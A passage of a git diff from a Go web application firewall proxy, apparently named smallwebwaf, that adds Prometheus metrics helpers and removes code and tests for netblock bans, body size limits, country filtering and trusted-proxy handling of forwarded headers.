@@ -277,6 +441,12 @@ func (m *Metrics) RuleMatched(id, action string) {
 	m.ruleMatches.WithLabelValues(id, action).Inc()
 }
 
+// WAFMatched counts a request that matched the Core Rule Set's rule id,
+// with SWWAF_WAF_MODE at mode.
+func (m *Metrics) WAFMatched(mode string, id int) {
+	m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
+}
+
 // StateFileWritten counts a write of the state file name, of size bytes,
 // that ended with err.
 func (m *Metrics) StateFileWritten(name string, size int, err error) {
@@ -308,6 +478,56 @@ func (m *Metrics) StateFileEditSetAside(name string) {
 	m.stateFileEditsSetAside.WithLabelValues(name).Inc()
 }
 
+// count counts a request that has ended, as RequestEnded and RequestReported
+// describe.
+func (m *Metrics) count(
+	line *requestlog.Line, duration, upstreamDuration time.Duration,
+) {
+	class := statusClass(line.Status)
+	m.requests.WithLabelValues(class, line.Action).Inc()
+	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
+	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
+	m.requestDuration.Observe(duration.Seconds())
+
+	if upstreamDuration > 0 {
+		m.upstreamDuration.Observe(upstreamDuration.Seconds())
+	}
+
+	if line.Country != "" {
+		m.countries.add(line.Country, line)
+	}
+
+	if line.ASN != "" {
+		m.asns.add(line.ASN, line)
+	}
+}
+
+// addReputationQueries adds the counter of the queries to source, a DNSBL
+// zone, or of the checks of clients with AbuseIPDB, which count tells.
+func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
+	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
+		Name:        "smallwebwaf_reputation_queries_total",
+		Help:        "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
+		ConstLabels: source,
+	}, func() float64 {
+		return float64(count())
+	}))
+}
+
+// addReputationFailures adds the counter of the fetches of source, a
+// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
+// that failed, which count tells.
+func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
+	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
+		Name: "smallwebwaf_reputation_failures_total",
+		Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
+			"AbuseIPDB, that failed.",
+		ConstLabels: source,
+	}, func() float64 {
+		return float64(count())
+	}))
+}
+
 // statusClass returns the class of status, such as 2xx, or none when no
 // status was sent.
 func statusClass(status int) string {

internal/proxy/bans.go

@@ -1,125 +0,0 @@
-package proxy
-
-import (
-	"net/netip"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-	"sneak.berlin/go/smallwebwaf/internal/rules"
-)
-
-// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
-// with action.
-func (rq *request) banResponse(action string) *refusal {
-	return &refusal{status: rq.h.config.BanResponse, action: action}
-}
-
-// banned reports whether a ban on a netblock the client is in covers the
-// request at now, and notes for the log line when that ban ends.
-func (rq *request) banned(now time.Time) bool {
-	check := rq.h.ledger.Check
-	if rq.h.config.Observe {
-		check = rq.h.ledger.Find // in observe mode the ban refuses nothing
-	}
-
-	ban, banned := check(rq.client, now)
-	if banned {
-		rq.line.BanExpires = banExpires(ban)
-	}
-
-	return banned
-}
-
-// limitBroken counts the request for the rate limits at now, notes the
-// client's counts for the log line, and reports whether the request takes
-// the client over a limit. In enforce mode such a request bans the
-// client's netblock, and sets the client's counters back to zero; in
-// observe mode it does neither.
-func (rq *request) limitBroken(now time.Time) bool {
-	group := clientGroup(rq.client)
-
-	counts, hit, over := rq.h.limiter.Count(group, now)
-	rq.line.Counts = counts
-
-	if !over {
-		return false
-	}
-
-	rq.line.LimitHit = hit.Window
-	rq.line.Offence = requestlog.OffenceLimit
-
-	if rq.h.config.Observe {
-		return true
-	}
-
-	netblock := rq.h.netblock(rq.client)
-	ban := rq.h.ledger.BanForLimit(netblock, now, bans.Notes{
-		Country:  rq.line.Country,
-		Limit:    hit.Limit,
-		Window:   hit.Window,
-		Count:    hit.Requests,
-		Request:  rq.noted(now),
-		Requests: rq.netblockRequests(netblock),
-	})
-	rq.h.limiter.Reset(group)
-	rq.line.BanExpires = banExpires(ban)
-
-	return true
-}
-
-// banForAttack bans the client's netblock at now for a clear sign of
-// attack, the match of rule, a ban rule.
-func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
-	netblock := rq.h.netblock(rq.client)
-	ban := rq.h.ledger.BanForAttack(netblock, now, bans.Notes{
-		Country:  rq.line.Country,
-		RuleID:   rule.ID,
-		Target:   rule.Target,
-		Request:  rq.noted(now),
-		Requests: rq.netblockRequests(netblock),
-	})
-	rq.line.BanExpires = banExpires(ban)
-}
-
-// noted is the request, refused at now with SWWAF_BAN_RESPONSE, as the
-// notes of the ban it makes keep it.
-func (rq *request) noted(now time.Time) bans.Request {
-	return bans.Request{
-		Time:      now,
-		Method:    rq.in.Method,
-		Host:      rq.in.Host,
-		Path:      rq.in.URL.RequestURI(),
-		Status:    rq.h.config.BanResponse,
-		UserAgent: rq.in.UserAgent(),
-	}
-}
-
-// netblockRequests is how many requests netblock has sent since it was
-// first seen, this one included: the histories count it only once it has
-// ended.
-func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
-	return rq.h.limiter.Requests(netblock) + 1
-}
-
-// netblock is the netblock a ban on client covers: its IPv4 address,
-// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
-// counts it in.
-func (h *handler) netblock(client netip.Addr) netip.Prefix {
-	addr := client.Unmap()
-	if addr.Is4() {
-		return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
-	}
-
-	return clientGroup(addr)
-}
-
-// banExpires is when ban ends, as the log line gives it: a time, or
-// permanent.
-func banExpires(ban bans.Ban) string {
-	if ban.Permanent() {
-		return permanent
-	}
-
-	return requestlog.FormatTime(ban.Expires)
-}

internal/proxy/bodies.go

@@ -1,173 +0,0 @@
-package proxy
-
-import (
-	"errors"
-	"io"
-	"net/http"
-	"sync/atomic"
-
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-// errResponseTooLarge ends an app's response body that is longer than
-// SWWAF_RESPONSE_MAX_BYTES.
-var errResponseTooLarge = errors.New(
-	"the response body is over SWWAF_RESPONSE_MAX_BYTES")
-
-// requestBody is the client's request body on its way to the app. The
-// transport reads it on a goroutine of its own.
-type requestBody struct {
-	// body is the client's body, ending in an *http.MaxBytesError past
-	// SWWAF_REQUEST_MAX_BYTES.
-	body io.ReadCloser
-	rq   *request
-	// waiting is true while a Read waits for the client to send more.
-	waiting atomic.Bool
-	// received is true once the client has sent the whole body.
-	received atomic.Bool
-	// bytes is how much of the body has been read.
-	bytes atomic.Int64
-}
-
-// Read reads from the client's body.
-func (b *requestBody) Read(p []byte) (int, error) {
-	b.waiting.Store(true)
-	n, err := b.body.Read(p)
-	b.waiting.Store(false)
-	b.bytes.Add(int64(n))
-
-	var tooLarge *http.MaxBytesError
-
-	switch {
-	case errors.Is(err, io.EOF):
-		b.received.Store(true)
-		b.rq.bodyReceived()
-	case errors.As(err, &tooLarge):
-		b.rq.refuse(refusal{
-			status: http.StatusRequestEntityTooLarge,
-			action: requestlog.ActionTooLarge,
-			limit:  "SWWAF_REQUEST_MAX_BYTES",
-		})
-	}
-
-	return n, err
-}
-
-// Close closes the client's body.
-func (b *requestBody) Close() error {
-	return b.body.Close()
-}
-
-// responseBody is the app's response body on its way to the client.
-type responseBody struct {
-	// body is the app's body, ending in an *http.MaxBytesError past
-	// SWWAF_RESPONSE_MAX_BYTES.
-	body io.ReadCloser
-	rq   *request
-}
-
-// Read reads from the app's body.
-func (b *responseBody) Read(p []byte) (int, error) {
-	n, err := b.body.Read(p)
-	if err == nil {
-		return n, nil
-	}
-
-	var tooLarge *http.MaxBytesError
-
-	switch {
-	case errors.Is(err, io.EOF):
-		b.rq.responseReceived()
-	case errors.As(err, &tooLarge):
-		b.rq.refuse(refusal{
-			status: http.StatusBadGateway,
-			action: requestlog.ActionTooLarge,
-			limit:  "SWWAF_RESPONSE_MAX_BYTES",
-		})
-
-		return n, errResponseTooLarge
-	case b.rq.in.Context().Err() == nil:
-		// The answer broke off, not because the client went away. If a
-		// timeout cut it, that refusal came first and is the one kept.
-		b.rq.refuse(refusal{
-			status: http.StatusBadGateway,
-			action: requestlog.ActionUpstreamError,
-		})
-	}
-
-	return n, err
-}
-
-// Close closes the app's body.
-func (b *responseBody) Close() error {
-	return b.body.Close()
-}
-
-// limitBody returns body, cut off with an *http.MaxBytesError after
-// maxBytes, or unchanged if maxBytes is zero, which is off.
-func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser {
-	if maxBytes == 0 {
-		return body
-	}
-
-	// Without a ResponseWriter, MaxBytesReader only counts and cuts off.
-	return http.MaxBytesReader(nil, body, maxBytes)
-}
-
-// responseWriter is the response to the client. It notes the status and
-// size for the log line, and the first error writing to the client.
-type responseWriter struct {
-	http.ResponseWriter
-
-	// status is the final status sent, or zero before one is.
-	status int
-	bytes  int64
-	err    error
-}
-
-// WriteHeader sends the status and headers. An informational 1xx status
-// is passed on and the final status still comes later.
-func (w *responseWriter) WriteHeader(status int) {
-	if status >= http.StatusOK && w.status == 0 {
-		w.status = status
-	}
-
-	w.ResponseWriter.WriteHeader(status)
-}
-
-// Write sends part of the body.
-func (w *responseWriter) Write(p []byte) (int, error) {
-	if w.status == 0 {
-		w.status = http.StatusOK
-	}
-
-	n, err := w.ResponseWriter.Write(p)
-	w.bytes += int64(n)
-	w.noteError(err)
-
-	return n, err
-}
-
-// FlushError sends what has been written so far.
-// http.ResponseController calls it, as ReverseProxy does after each
-// write.
-func (w *responseWriter) FlushError() error {
-	err := http.NewResponseController(w.ResponseWriter).Flush()
-	w.noteError(err)
-
-	return err
-}
-
-// Unwrap lets http.ResponseController reach net/http's own
-// ResponseWriter, which is how ReverseProxy takes over the connection of
-// an upgraded request.
-func (w *responseWriter) Unwrap() http.ResponseWriter {
-	return w.ResponseWriter
-}
-
-// noteError keeps the first error writing to the client.
-func (w *responseWriter) noteError(err error) {
-	if w.err == nil {
-		w.err = err
-	}
-}

internal/proxy/client_test.go

@@ -1,165 +0,0 @@
-package proxy_test
-
-import (
-	"encoding/json"
-	"net/http"
-	"testing"
-)
-
-const (
-	// trustLocalhost trusts the address every test connects from, and a
-	// network for proxies in front of it.
-	trustLocalhost = localhost + "/32,10.0.0.0/8"
-	// appHost is the host every test asks for.
-	appHost = "app.example"
-	// client is the client's address, as a proxy names it.
-	client = "203.0.113.9"
-	// forwardedFor is the header that lists the client and its proxies,
-	// and forwardedProto the one that gives the scheme the client used.
-	forwardedFor   = "X-Forwarded-For"
-	forwardedProto = "X-Forwarded-Proto"
-	// secure is the scheme a client reached traefik with, and plain the
-	// one smallwebwaf serves.
-	secure = "https"
-	plain  = "http"
-)
-
-// appHeaders is what the app tells about the headers it received.
-type appHeaders struct {
-	Host           string `json:"host"`
-	ForwardedFor   string `json:"forwardedFor"`
-	ForwardedHost  string `json:"forwardedHost"`
-	ForwardedProto string `json:"forwardedProto"`
-	RealIP         string `json:"realIp"`
-}
-
-// clientAddressCase is a request and what smallwebwaf makes of it.
-type clientAddressCase struct {
-	name       string
-	env        map[string]string
-	header     http.Header
-	wantClient string
-	wantApp    appHeaders
-}
-
-func TestClientAddressAndForwardedHeaders(t *testing.T) {
-	t.Parallel()
-
-	for _, tc := range clientAddressCases() {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			got, line := requestWithHeaders(t, tc.env, tc.header)
-
-			tc.wantApp.Host = appHost
-			if got != tc.wantApp {
-				t.Errorf("app received %+v, want %+v", got, tc.wantApp)
-			}
-
-			if line.ClientIP != tc.wantClient || line.PeerIP != localhost {
-				t.Errorf("log line has client_ip %q and peer_ip %q, want %q and %q",
-					line.ClientIP, line.PeerIP, tc.wantClient, localhost)
-			}
-		})
-	}
-}
-
-// clientAddressCases are the requests TestClientAddressAndForwardedHeaders
-// sends, from 127.0.0.1, which the default trusted proxies leave out.
-func clientAddressCases() []clientAddressCase {
-	trusted := map[string]string{trustedProxies: trustLocalhost}
-	forged := http.Header{
-		forwardedFor:       {client},
-		"X-Forwarded-Host": {"forged.example"},
-		forwardedProto:     {secure},
-		"X-Real-Ip":        {client},
-	}
-	replaced := appHeaders{
-		ForwardedFor: localhost, ForwardedHost: appHost, ForwardedProto: plain,
-	}
-
-	return []clientAddressCase{{
-		name: "a peer outside the trusted proxies is the client, " +
-			"and its forwarded headers are replaced",
-		header: forged, wantClient: localhost, wantApp: replaced,
-	}, {
-		name:   "set but empty, the trusted proxies trust nothing",
-		env:    map[string]string{trustedProxies: ""},
-		header: forged, wantClient: localhost, wantApp: replaced,
-	}, {
-		name: "behind a trusted peer, the client is the first address " +
-			"outside the trusted proxies from the right",
-		env: trusted,
-		header: http.Header{
-			forwardedFor:       {"198.51.100.7, " + client + ", 10.0.0.2"},
-			"X-Forwarded-Host": {appHost},
-			forwardedProto:     {secure},
-			"X-Real-Ip":        {client},
-		},
-		wantClient: client,
-		wantApp: appHeaders{
-			ForwardedFor:  "198.51.100.7, " + client + ", 10.0.0.2, " + localhost,
-			ForwardedHost: appHost, ForwardedProto: secure, RealIP: client,
-		},
-	}, {
-		name:       "when every address is a trusted proxy, the leftmost is the client",
-		env:        trusted,
-		header:     http.Header{forwardedFor: {"10.0.0.5, 10.0.0.2"}},
-		wantClient: "10.0.0.5",
-		wantApp:    appHeaders{ForwardedFor: "10.0.0.5, 10.0.0.2, " + localhost},
-	}, {
-		name:       "with no header, a trusted peer is the client",
-		env:        trusted,
-		wantClient: localhost,
-		wantApp:    appHeaders{ForwardedFor: localhost},
-	}, {
-		name:       "an entry that is not an address ends the reading",
-		env:        trusted,
-		header:     http.Header{forwardedFor: {client + ", unknown, 10.0.0.2"}},
-		wantClient: "10.0.0.2",
-		wantApp: appHeaders{
-			ForwardedFor: client + ", unknown, 10.0.0.2, " + localhost,
-		},
-	}, {
-		name:       "several header lines are read as one list",
-		env:        trusted,
-		header:     http.Header{forwardedFor: {"2001:db8::7", "10.0.0.2"}},
-		wantClient: "2001:db8::7",
-		wantApp:    appHeaders{ForwardedFor: "2001:db8::7, 10.0.0.2, " + localhost},
-	}}
-}
-
-// requestWithHeaders sends a request for appHost with header through
-// smallwebwaf, with the settings in env, and returns the headers the app
-// received and the request's log line.
-func requestWithHeaders(
-	t *testing.T, env map[string]string, header http.Header,
-) (appHeaders, logLine) {
-	t.Helper()
-
-	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-		_ = json.NewEncoder(w).Encode(appHeaders{
-			Host:           r.Host,
-			ForwardedFor:   r.Header.Get(forwardedFor),
-			ForwardedHost:  r.Header.Get("X-Forwarded-Host"),
-			ForwardedProto: r.Header.Get(forwardedProto),
-			RealIP:         r.Header.Get("X-Real-IP"),
-		})
-	})
-	addr, out := startProxy(t, app.URL, env)
-
-	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
-	req.Host = appHost
-	req.Header = header.Clone()
-
-	answered := do(t, req)
-
-	var got appHeaders
-
-	err := json.Unmarshal(answered.body, &got)
-	if err != nil {
-		t.Fatalf("decode the app's answer %q: %v", answered.body, err)
-	}
-
-	return got, out.requestLine(t)
-}

internal/proxy/countries.go

@@ -1,41 +0,0 @@
-package proxy
-
-import (
-	"context"
-	"net/netip"
-	"slices"
-)
-
-// countryDenied reports whether the country lists refuse the request.
-// The client's country is looked up only while a list is set, and never
-// for a client on a private, loopback or link-local address, which has
-// no country. A client without a country, or whose country cannot be
-// found, is refused only by SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES. ctx is
-// the request's own context.
-func (rq *request) countryDenied(ctx context.Context) bool {
-	denied := rq.h.config.DeniedCountries
-	allowed := rq.h.config.ExclusivelyAllowedCountries
-
-	if len(denied) == 0 && len(allowed) == 0 {
-		return false
-	}
-
-	var country string
-	if hasCountry(rq.client) {
-		country = rq.h.geojs.Country(ctx, clientGroup(rq.client))
-	}
-
-	rq.line.Country = country
-
-	if slices.Contains(denied, country) {
-		return true
-	}
-
-	return len(allowed) > 0 && !slices.Contains(allowed, country)
-}
-
-// hasCountry reports whether addr can be placed in a country: private,
-// loopback and link-local addresses cannot.
-func hasCountry(addr netip.Addr) bool {
-	return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
-}

internal/proxy/health_test.go

@@ -1,56 +0,0 @@
-package proxy_test
-
-import (
-	"net/http"
-	"sync/atomic"
-	"testing"
-
-	"sneak.berlin/go/smallwebwaf/internal/proxy"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-func TestHealthEndpointIsAnsweredBeforeAnyCheck(t *testing.T) {
-	t.Parallel()
-
-	var calls atomic.Int32
-
-	app := startApp(t, func(http.ResponseWriter, *http.Request) {
-		calls.Add(1)
-	})
-	// With a limit of one request a minute, any request counted before
-	// the last one would have it refused.
-	addr, out := startProxy(t, app.URL, map[string]string{rateLimitPerMinute: "1"})
-
-	const (
-		healthChecks = 3
-		contentType  = "text/plain; charset=utf-8"
-	)
-
-	for range healthChecks {
-		got := get(t, addr, proxy.HealthPath)
-		wantStatus(t, got, http.StatusOK)
-
-		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
-			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
-				"with %q", got.body, got.header.Get("Content-Type"), contentType)
-		}
-	}
-
-	wantStatus(t, get(t, addr, "/"), http.StatusOK)
-
-	lines := out.requestLines(t, healthChecks+1)
-	for _, line := range lines[:healthChecks] {
-		wantLine(t, line, http.StatusOK, requestlog.ActionAdmin)
-
-		if line.ResponseContentType != contentType {
-			t.Errorf("health check's log line has response_content_type %q, "+
-				"want %q", line.ResponseContentType, contentType)
-		}
-	}
-
-	wantLine(t, lines[healthChecks], http.StatusOK, requestlog.ActionForward)
-
-	if calls.Load() != 1 {
-		t.Errorf("the app was called %d times, want once", calls.Load())
-	}
-}

internal/proxy/limits_test.go

@@ -1,162 +0,0 @@
-package proxy_test
-
-import (
-	"bytes"
-	"errors"
-	"io"
-	"net/http"
-	"strconv"
-	"sync/atomic"
-	"testing"
-
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-// sizeLimit is the size limit the tests set, 1K as a setting.
-const (
-	sizeLimit        = 1 << 10
-	sizeLimitSetting = "1K"
-)
-
-func TestRequestBodyLimit(t *testing.T) {
-	t.Parallel()
-
-	for _, tc := range []struct {
-		name string
-		size int
-		// announced sends the size in Content-Length; otherwise the body
-		// is sent in chunks with no length given.
-		announced bool
-		want      int
-		action    string
-		// refusedBeforeApp is a refusal before anything reaches the app.
-		// A body over the limit with no length given has already partly
-		// reached the app when it is refused.
-		refusedBeforeApp bool
-	}{
-		{"announced, over the limit", 2 * sizeLimit, true,
-			http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, true},
-		{"announced, at the limit", sizeLimit, true,
-			http.StatusOK, requestlog.ActionForward, false},
-		{"not announced, over the limit", 4 * sizeLimit, false,
-			http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, false},
-		{"not announced, at the limit", sizeLimit, false,
-			http.StatusOK, requestlog.ActionForward, false},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			var calls atomic.Int32
-
-			app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
-				calls.Add(1)
-
-				_, _ = io.Copy(io.Discard, r.Body)
-			})
-			addr, out := startProxy(t, app.URL, map[string]string{
-				requestMaxBytes: sizeLimitSetting,
-				metricsToken:    token,
-			})
-
-			var body io.Reader = bytes.NewReader(make([]byte, tc.size))
-			if !tc.announced {
-				body = io.MultiReader(body) // hides the length
-			}
-
-			wantStatus(t, do(t, newRequest(t, http.MethodPost, addr, "/upload", body)),
-				tc.want)
-			wantLine(t, out.requestLine(t), tc.want, tc.action)
-
-			hits := 0
-			if tc.action == requestlog.ActionTooLarge {
-				hits = 1
-			}
-
-			wantLimitHits(t, addr, requestMaxBytes, hits)
-
-			if tc.refusedBeforeApp && calls.Load() != 0 {
-				t.Errorf("the app was called %d times, want never", calls.Load())
-			}
-		})
-	}
-}
-
-func TestResponseBodyLimit(t *testing.T) {
-	t.Parallel()
-
-	for _, tc := range []struct {
-		name string
-		size int
-		// announced sends the size in Content-Length; otherwise the body
-		// is sent in chunks with no length given.
-		announced bool
-		want      int
-		action    string
-		// received is how much of a body the client gets, and cutOff
-		// whether the connection is then cut.
-		received int
-		cutOff   bool
-	}{
-		{"announced, over the limit", 2 * sizeLimit, true, http.StatusBadGateway,
-			requestlog.ActionTooLarge, len("Bad Gateway\n"), false},
-		{"announced, at the limit", sizeLimit, true, http.StatusOK,
-			requestlog.ActionForward, sizeLimit, false},
-		{"not announced, over the limit", 4 * sizeLimit, false, http.StatusOK,
-			requestlog.ActionTooLarge, sizeLimit, true},
-		{"not announced, at the limit", sizeLimit, false, http.StatusOK,
-			requestlog.ActionForward, sizeLimit, false},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
-				answerWithSize(w, tc.size, tc.announced)
-			})
-			addr, out := startProxy(t, app.URL, map[string]string{
-				responseMaxBytes: sizeLimitSetting,
-				metricsToken:     token,
-			})
-
-			got := get(t, addr, "/download")
-			wantStatus(t, got, tc.want)
-
-			if len(got.body) != tc.received ||
-				errors.Is(got.err, io.ErrUnexpectedEOF) != tc.cutOff {
-				t.Errorf("client got %d bytes (%v), want %d",
-					len(got.body), got.err, tc.received)
-			}
-
-			line := out.requestLine(t)
-			wantLine(t, line, tc.want, tc.action)
-
-			if line.UpstreamStatus != http.StatusOK {
-				t.Errorf("log line has upstream_status %d", line.UpstreamStatus)
-			}
-
-			hits := 0
-			if tc.action == requestlog.ActionTooLarge {
-				hits = 1
-			}
-
-			wantLimitHits(t, addr, responseMaxBytes, hits)
-		})
-	}
-}
-
-// answerWithSize answers with a body of size bytes, announced in
-// Content-Length or sent in chunks with no length given.
-func answerWithSize(w http.ResponseWriter, size int, announced bool) {
-	body := make([]byte, size)
-	if announced {
-		w.Header().Set("Content-Length", strconv.Itoa(size))
-		_, _ = w.Write(body)
-
-		return
-	}
-
-	// Sending part of it before the end keeps Go's server from working
-	// out the length.
-	_, _ = w.Write(body[:size/2])
-	_ = http.NewResponseController(w).Flush()
-	_, _ = w.Write(body[size/2:])
-}

internal/proxy/metrics_test.go

@@ -1,484 +0,0 @@
-package proxy_test
-
-import (
-	"io"
-	"net/http"
-	"net/http/httptest"
-	"net/netip"
-	"strconv"
-	"strings"
-	"sync"
-	"sync/atomic"
-	"testing"
-	"time"
-
-	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/lookup"
-	"sneak.berlin/go/smallwebwaf/internal/proxy"
-	"sneak.berlin/go/smallwebwaf/internal/requestlog"
-)
-
-const (
-	metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name
-	metricsTopN  = "SWWAF_METRICS_TOP_N"
-	// token is the SWWAF_METRICS_TOKEN the tests set, and bearer how a
-	// request carries it.
-	token  = "0123456789abcdef0123456789abcdef"
-	bearer = "Bearer " + token
-)
-
-func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
-	t.Parallel()
-
-	var calls atomic.Int32
-
-	app := startApp(t, func(http.ResponseWriter, *http.Request) {
-		calls.Add(1)
-	})
-	addr, out := startProxy(t, app.URL, nil)
-
-	// An empty token does not match the unset one either.
-	for i, authorization := range []string{bearer, "Bearer ", ""} {
-		req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody)
-		if authorization != "" {
-			req.Header.Set("Authorization", authorization)
-		}
-
-		wantStatus(t, do(t, req), http.StatusNotFound)
-		wantLine(t, out.requestLines(t, i+1)[i], http.StatusNotFound,
-			requestlog.ActionAdmin)
-	}
-
-	if calls.Load() != 0 {
-		t.Errorf("the app was called %d times, want never", calls.Load())
-	}
-}
-
-func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
-	t.Parallel()
-
-	var calls atomic.Int32
-
-	app := startApp(t, func(http.ResponseWriter, *http.Request) {
-		calls.Add(1)
-	})
-	addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token})
-
-	for i, tc := range []struct {
-		method, path, authorization string
-		status                      int
-	}{
-		{http.MethodGet, proxy.MetricsPath, "", http.StatusUnauthorized},
-		{
-			http.MethodGet, proxy.MetricsPath, "Bearer " + strings.ToUpper(token),
-			http.StatusUnauthorized,
-		},
-		{http.MethodGet, proxy.MetricsPath, "Basic " + token, http.StatusUnauthorized},
-		{http.MethodGet, proxy.MetricsPath, bearer, http.StatusOK},
-		{http.MethodGet, proxy.MetricsPath, "bearer " + token, http.StatusOK},
-		{http.MethodPost, proxy.MetricsPath, bearer, http.StatusNotFound},
-		{http.MethodGet, proxy.MetricsPath + "/", bearer, http.StatusNotFound},
-		{http.MethodGet, "/_smallwebwaf/bans", bearer, http.StatusNotFound},
-		{http.MethodPost, proxy.HealthPath, "", http.StatusNotFound},
-	} {
-		req := newRequest(t, tc.method, addr, tc.path, http.NoBody)
-		if tc.authorization != "" {
-			req.Header.Set("Authorization", tc.authorization)
-		}
-
-		got := do(t, req)
-		wantStatus(t, got, tc.status)
-		wantLine(t, out.requestLines(t, i+1)[i], tc.status, requestlog.ActionAdmin)
-
-		if tc.status == http.StatusUnauthorized &&
-			got.header.Get("WWW-Authenticate") != "Bearer" {
-			t.Errorf("%q was answered without WWW-Authenticate: Bearer",
-				tc.authorization)
-		}
-
-		if tc.status == http.StatusOK &&
-			!strings.Contains(string(got.body), "# TYPE smallwebwaf_requests_total counter") {
-			t.Errorf("the metrics are\n%s", got.body)
-		}
-	}
-
-	if calls.Load() != 0 {
-		t.Errorf("the app was called %d times, want never", calls.Load())
-	}
-}
-
-func TestMetricsAreAskedForThroughTheChecks(t *testing.T) {
-	t.Parallel()
-
-	s, _, _ := startWithClock(t, "", map[string]string{
-		metricsToken:       token,
-		rateLimitPerMinute: "1",
-	})
-
-	// Asking for the metrics counts toward the client's limit of one
-	// request a minute, so its next request breaks it, and bans it. A
-	// banned client is refused the metrics too.
-	s.scrape(client)
-	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
-	s.requestWithHeader(client, proxy.MetricsPath, "Authorization: "+bearer,
-		http.StatusForbidden, requestlog.ActionBanned)
-}
-
-func TestMetricsCountTheTraffic(t *testing.T) {
-	t.Parallel()
-
-	arrived, release := make(chan struct{}), make(chan struct{})
-	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
-		_, _ = io.Copy(io.Discard, r.Body)
-
-		if r.URL.Path == "/held" {
-			close(arrived)
-			<-release
-		}
-
-		_, _ = io.WriteString(w, "hello")
-	})
-	releaseApp := sync.OnceFunc(func() { close(release) })
-	t.Cleanup(releaseApp)
-
-	addr, out := startProxy(t, app.URL, map[string]string{metricsToken: token})
-
-	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
-	wantStatus(t, got, http.StatusOK)
-	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
-	out.requestLines(t, 2)
-
-	forward := `{action="forward",status_class="2xx"}`
-	notFound := `{action="admin",status_class="4xx"}`
-
-	// The request for the metrics is itself under way.
-	metrics := scrape(t, addr)
-	wantMetric(t, metrics, "smallwebwaf_requests_total"+forward, 1)
-	wantMetric(t, metrics, "smallwebwaf_requests_total"+notFound, 1)
-	wantMetric(t, metrics, "smallwebwaf_request_bytes_total"+forward, 3)
-	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+forward, 5)
-	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+notFound,
-		float64(len("Not Found\n")))
-	wantMetric(t, metrics, "smallwebwaf_request_duration_seconds_count", 2)
-	wantMetric(t, metrics, "smallwebwaf_upstream_duration_seconds_count", 1)
-	wantMetric(t, metrics, "smallwebwaf_requests_in_flight", 1)
-	metric(t, metrics, "go_goroutines")
-	metric(t, metrics, "process_start_time_seconds")
-
-	// A request the app holds is under way until it ends.
-	httpClient := newClient(t)
-	held := newRequest(t, http.MethodGet, addr, "/held", http.NoBody)
-	ended := make(chan error, 1)
-
-	go func() {
-		res, err := httpClient.Do(held)
-		if err == nil {
-			err = readAnswer(res).err
-		}
-
-		ended <- err
-	}()
-
-	<-arrived
-	wantMetric(t, scrape(t, addr), "smallwebwaf_requests_in_flight", 2)
-	releaseApp()
-
-	err := <-ended
-	if err != nil {
-		t.Fatalf("held request: %v", err)
-	}
-
-	out.requestLines(t, 5)
-	wantMetric(t, scrape(t, addr), "smallwebwaf_requests_in_flight", 1)
-}
-
-func TestMetricsCountLimitsAndBans(t *testing.T) {
-	t.Parallel()
-
-	const (
-		scraper = "192.0.2.200" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
-		denied  = "192.0.2.50"  // in SWWAF_DENY_NETS
-	)
-
-	s, clk, _ := startWithClock(t, "", map[string]string{
-		metricsToken:        token,
-		rateLimitPerMinute:  "1",
-		rateLimitExemptNets: scraper,
-		denyNets:            denied,
-		banResponse:         "close",
-		limitBanDuration:    "1h",
-		maxBanDuration:      "2h",
-	})
-
-	// SWWAF_BAN_RESPONSE=close sends no status at all.
-	s.get(denied, 0, requestlog.ActionDenied)
-
-	// A first broken limit bans for an hour.
-	s.get(client, http.StatusOK, requestlog.ActionForward)
-	s.get(client, 0, requestlog.ActionRateLimited)
-
-	metrics := s.scrape(scraper)
-	wantMetric(t, metrics,
-		`smallwebwaf_requests_total{action="denied",status_class="none"}`, 1)
